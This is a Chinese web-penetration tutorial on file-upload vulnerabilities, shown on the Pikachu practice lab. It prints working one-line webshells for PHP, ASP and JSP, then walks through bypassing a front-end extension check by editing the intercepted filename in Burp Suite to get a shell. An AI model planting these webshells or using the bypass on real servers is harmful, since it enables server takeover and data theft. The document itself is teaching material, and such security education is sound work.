Web渗透:文件上传漏洞

文件上传漏洞(File Upload Vulnerability)是网络安全中的一种常见漏洞,攻击者可以通过此漏洞将恶意文件上传到服务器,从而执行任意代码、覆盖重要文件、或进行其他恶意操作。这种漏洞可能带来严重的安全风险,包括数据泄露、系统入侵、甚至完全控制服务器。

文件上传漏洞的危害
①代码执行:攻击者可以上传包含恶意代码的脚本文件,如PHP、ASP、JSP等,直接在服务器上执行。
②文件覆盖:上传文件可能覆盖现有的合法文件,导致网站功能受损或被篡改。
③数据泄露:恶意文件可能包含脚本,读取服务器上的敏感信息并发送给攻击者。
④跨站脚本攻击(XSS):上传的文件可能包含恶意脚本,当其他用户访问该文件时,触发跨站脚本攻击。
文件上传漏洞常见的出现场景
1.头像上传功能

许多网站允许用户上传头像或个人资料图片。如果没有严格的文件类型和内容检查,攻击者可以上传恶意脚本文件伪装成图片文件。

2.文件共享和存储服务

各种文件共享平台或云存储服务允许用户上传和共享文件。如果没有有效的安全措施,攻击者可以上传恶意文件,伪装成合法文件,诱使其他用户下载和执行。

3.内容管理系统(CMS)

CMS系统(如WordPress、Joomla、Drupal等)通常允许用户上传图片、视频、文档等多种类型的文件。如果上传功能存在漏洞,攻击者可以利用它们上传恶意代码。

4.博客和论坛平台

这些平台通常允许用户上传附件(如图片、文档等)来支持他们的帖子和评论。如果没有严格的验证和过滤机制,攻击者可以上传恶意文件。

5.电子邮件附件上传

许多邮件系统允许用户上传附件并发送邮件。如果没有正确的安全检查,攻击者可以上传恶意附件,目标用户一旦下载和打开就可能受到攻击。

6.在线文件转换服务

这些服务允许用户上传文件并将其转换为其他格式。如果服务没有适当的安全措施,攻击者可以上传恶意文件,利用转换过程中的漏洞进行攻击。

基本上存在文件上传功能点的页面就可能存在文件上传漏洞

示例

在此处我们也是使用pikachu靶场来进行演示,打开靶场中文件上传漏洞相关页面,可以发现此处有上传图片的功能点:

这个时候我们可以尝试上传一个php一句话木马进去(具体传什么类型的木马要根据环境决定,如果是asp环境就传入asp木马、jsp就传jsp木马等等)

php木马:
<?php @eval($_POST['cmd']); ?>

<?php ... ?>: PHP的起始和结束标记,表示在其中包含的是PHP代码。

@: 错误控制运算符,抑制错误消息的输出。即使代码中出现错误,也不会显示给用户。

eval(): 一个PHP函数,将传递给它的字符串作为PHP代码执行。它非常危险,因为它可以执行任何PHP代码。

$_POST['cmd']: 从HTTP POST请求中获取名为cmd的参数值。

asp木马:
<% eval request("cmd") %>

<% ... %>:ASP的起始和结束标记,表示在其中包含的是ASP代码。

eval:一个ASP函数,将传递给它的字符串作为代码执行。与PHP中的eval()函数类似,它非常危险,因为它可以执行任何代码。

request("cmd"):从HTTP请求(GET或POST)中获取名为cmd的参数值。

jsp木马:
<% if (request.getParameter("cmd") != null) {Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));java.io.InputStream in = p.getInputStream();int a = -1;while((a=in.read())!=-1){out.print((char)a);}}
%>

因为此时pikachu所用的后端为php,那么此时我们就可以上传一个php一句话木马进行尝试;可是当我们将选择php木马文件尝试进行上传后页面则弹出窗口:

可以看到此时页面进行弹窗说明此次木马上传被某种不知名的力量阻断了,那么这个时候我们首先要判断这股力量是存在于客户端(浏览器)中或者是存在于服务端中,此时可以通过burpsuite进行抓包,因为在这边我们需要定位这股力量是存在于前端还是存在于后端;在这边我们打开Burpsuite的Intercept功能进行数据包拦截;

这个时候我们再次进行php木马上传,这个时候发现拦截窗口已经弹出,但是Burpsuite中并没有拦截到对应的数据包;

这就说明我们的请求上传的数据包在前端就已经被过滤掉了;这个时候我们可以使用一张图片来进行当前情况的说明:

这个时候我们就可以对前端代码(页面中按下ctrl+u)进行审查;果然在网页代码中发现了对应的过滤代码:

<script>function checkFileExt(filename){var flag = false; //状态var arr = ["jpg","png","gif"];//取出上传文件的扩展名var index = filename.lastIndexOf(".");var ext = filename.substr(index+1);//比较for(var i=0;i<arr.length;i++){if(ext == arr[i]){flag = true; //一旦找到合适的,立即退出循环break;}}//条件判断if(!flag){alert("上传的文件不符合要求,请重新选择!");location.reload(true);}}
</script>

function checkFileExt(filename): 定义一个名为checkFileExt的函数,接收一个参数filename,表示上传文件的名称。

var flag = false;: 定义一个布尔变量flag,初始化为false,表示文件扩展名是否有效的状态。

var arr = ["jpg","png","gif"];: 定义一个数组arr,包含允许的文件扩展名。

var index = filename.lastIndexOf(".");: 获取文件名中最后一个.的索引位置。

var ext = filename.substr(index+1);: 从最后一个.的位置开始截取字符串,获取文件的扩展名。

for(var i=0;i<arr.length;i++): 遍历数组arr

if(ext == arr[i]): 检查文件扩展名ext是否在数组arr中。

flag = true;: 如果找到了匹配的扩展名,将flag设置为true

break;: 找到匹配的扩展名后,立即退出循环。

if(!flag): 如果flag仍然为false,表示文件扩展名不在允许的列表中。

alert("上传的文件不符合要求,请重新选择!");: 弹出一个警告框,提示用户上传的文件不符合要求。

location.reload(true);: 重新加载当前页面。

总结:

这段代码的主要功能是通过检查文件扩展名,确保用户上传的文件符合预期(["jpg","png","gif"];)的格式要求。如果文件的扩展名不在允许的列表中,用户将看到一个警告消息,并且页面会重新加载。

绕过前端过滤的方式

这个时候我们可以先将上传的木马程序后缀名修改为"jpg","png","gif"其中的一个进行上传;这个时候我们就可以顺利抓到包了;

接着我们可以将数据包中的filename字段(传输文件名数据)修改为php后缀,接着放行数据包;

这个时候发现文件上传成功,且回显了当前文件在服务端中的相对路径。

这个时候我们就可以通过蚁剑等工具进行连接Get Shell了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/34414.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在 PMP 考试中,项目管理经验不足怎么办?

在项目管理的专业成长之路上&#xff0c;PMP认证如同一块里程碑&#xff0c;标志着从业者的专业水平达到了国际公认的标准。然而&#xff0c;对于那些项目管理经验尚浅的考生来说&#xff0c;这座里程碑似乎显得有些遥不可及。那么&#xff0c;在PMP考试准备中&#xff0c;项目…

AI技术在呼吸健康诊断领域的前沿进展

近期&#xff0c;谷歌科研团队在《自然》杂志上发布了一项引人注目的研究成果&#xff0c;该研究聚焦于利用人工智能&#xff08;AI&#xff09;技术对人类咳嗽及呼吸音进行分析&#xff0c;以实现对个体健康状况的精准评估。这一创新系统的研发基于大规模音频数据的深度学习&a…

C++STL 6大组件—你必知必会的编程利器

课程总目录 文章目录 一、vector容器二、deque和list容器三、vector、deque、list横向对比四、详解容器是配置stack、queue、priority_queue五、无序关联容器六、有序关联容器七、迭代器八、函数对象九、泛型算法和绑定器 一、vector容器 底层数据结构是动态开辟的数组&#x…

Ai指令优化文章成爆款实战记录6.26

大家好&#xff0c;我是网创有方的站长&#xff0c;继上篇文章出来之后&#xff0c;立马测试了一翻&#xff0c;没想到第一篇就出来了小爆款。展现量当天3万多&#xff0c;阅读量也有7000多的一个数据。虽说不是很高&#xff0c;相比平常几十的阅读量来说&#xff0c;进步还是非…

process.cwd()与__dirname的区别

process.cwd() 是当前执行node命令时候的文件夹地址 ——工作目录&#xff0c;保证了文件在不同的目录下执行时&#xff0c;路径始终不变__dirname 是被执行的js 文件的地址 ——文件所在目录 在electron进程中使用 如果使用__dirname则会读取到当前运行目录(dist_electron)下…

【大模型】大模型微调方法总结(二)

1.Adapter Tuning 1.背景 2019年谷歌的研究人员首次在论文《Parameter-Efficient Transfer Learning for NLP》提出针对 BERT 的 PEFT微调方式&#xff0c;拉开了 PEFT 研究的序幕。他们指出&#xff0c;在面对特定的下游任务时&#xff0c;如果进行 Full-Fintuning&#xff0…

【yolov8:metrics = model.val()报错TypeError: int() 】

今天在运行yolov8的val模型测验时报错&#xff1a; TypeError: int() argument must be a string, a bytes-like object or a number, not ‘KeyboardModifier’ 看了很多博主和文章&#xff0c;最后找到了解决方法&#xff1a; 在代码头部使用以下代码&#xff0c;重新运行…

python turtle 004Hello Kity

代码&#xff1a;pythonturtle004HelloKity资源-CSDN文库 # 作者V w1933423 import math import turtle as t# 设置画笔速度 t.speed(0)# 定义函数画弧 def myarc(t1, r, angle):arc_length 2 * math.pi * r * angle / 360 # 弧长n int(arc_length / 3) 1 # 分割段数step…

【大模型】大模型微调方法总结(三)

1. Prefix-tuning 1.背景 2021年论文《Prefix-Tuning: Optimizing Continuous Prompts for Generation》中提出了 Prefix Tuning 方法。与Full-finetuning 更新所有参数的方式不同&#xff0c;该方法是在输入 token 之前构造一段任务相关的 virtual tokens 作为 Prefix&#x…

二叉树——对称二叉树

目录 1&#xff1a;题目分析及思路 2&#xff1a;代码实现和分析 1&#xff1a;代码 2&#xff1a;分析 1&#xff1a;题目分析及思路 这里我们有一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 思路&#xff1a; 如上图&#xff0c;示例1是一颗对称的二叉树&a…

基于JSP的列车票务信息管理系统

开头语&#xff1a; 你好&#xff0c;我是专注于计算机科学与技术研究的学长。如果你对列车票务信息管理系统感兴趣或有相关需求&#xff0c;欢迎联系我。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;JSP技术 工具&#xff1a;IDE、数据库管理工具…

反射及动态代理

反射 定义&#xff1a; 反射允许对封装类的字段&#xff0c;方法和构造 函数的信息进行编程访问 图来自黑马程序员 获取class对象的三种方式&#xff1a; 1&#xff09;Class.forName("全类名") 2&#xff09;类名.class 3) 对象.getClass() 图来自黑马程序员 pac…

pytest-yaml-sanmu(五):跳过执行和预期失败

除了手动注册标记之外&#xff0c;pytest 还内置了一些标记可直接使用&#xff0c;每种内置标记都会用例带来不同的特殊效果&#xff0c;本文先介绍 3 种。 1. skip skip 标记通常用于忽略暂时无法执行&#xff0c;或不需要执行的用例。 pytest 在执行用例时&#xff0c;如果…

LATR 算法解读

文章目录 1. 论文2. 环境安装3. 代码解读3. 1 初始化 lane query3.1.1 SparseInsDecoder3.1.2 loss 计算3.1.3 初始化instance query3.2 ref points 的生成3.3 lane query 和feats进行attention3.3.1 self attn3.3.1 cross attn4. 参考1. 论文 2. 环境安装 146 [2024-06-20 10…

收款机TTS语音芯片新方案:WT3000T8,双语合成流畅,字库解码多样!

发布时间&#xff1a;2024-06-26 09:20 浏览次数&#xff1a;88次 一&#xff1a;方案背景概述 随着科技的飞速发展&#xff0c;人工智能和语音识别技术在各个领域都得到了广泛应用。其中&#xff0c;文本转语音&#xff08;TTS&#xff09;技术以其独特的优势&#xff0c;在收…

基于springboot+vue的梦幻玩具乐园的设计与实现(在线购物平台)

需要源码和论文的小伙伴可以私信博主&#xff08;有偿&#xff09; ​​​​​课题目的与意义 随着互联网的不断普及与在线销售平台的迅猛发展&#xff0c;在线购物日益受到广大消费者的青睐与追捧。通过构建基于Spring BootVue的在线玩具商城&#xff0c;可以为玩具制造商、…

如何快速交付网络基础设施运维管理软件项目?

​ 基于nVisual网络基础设施数字孪生管理工具 开发项目需求 项目交付成本节省50%、进度提高100% ​ &#xff1e;&#xff1e;&#xff1e;nVisual主要功能&#xff1c;&#xff1c;&#xff1c; 01 场 景 ★ 支持层次化的场景结构 ★ 支持多种空间场景 ​ 02 规 划 ★ 丰…

基于Pytorch框架的深度学习ConvNext神经网络宠物猫识别分类系统源码

第一步&#xff1a;准备数据 12种宠物猫类数据&#xff1a;self.class_indict ["阿比西尼猫", "豹猫", "伯曼猫", "孟买猫", "英国短毛猫", "埃及猫", "缅因猫", "波斯猫", "布偶猫&q…

Go语言之函数和方法

个人网站&#xff1a; http://hardyfish.top/ 免费书籍分享&#xff1a; 资料链接&#xff1a;https://url81.ctfile.com/d/57345181-61545511-81795b?p3899 访问密码&#xff1a;3899 免费专栏分享&#xff1a; 资料链接&#xff1a;https://url81.ctfile.com/d/57345181-6…

学习TS看这一篇就够了!

目录 TS的优点和缺点基础类型数字类型布尔类型字符串类型void 类型null 类型和 undefined 类型bigint类型Symbol类型 其他类型数组元组枚举Enum对象和函数any void never unknown 的区别是什么泛型 Generic交叉类型联合类型 特殊符号 ? ?. ?? ! _修饰符 TS的优点和缺点 优…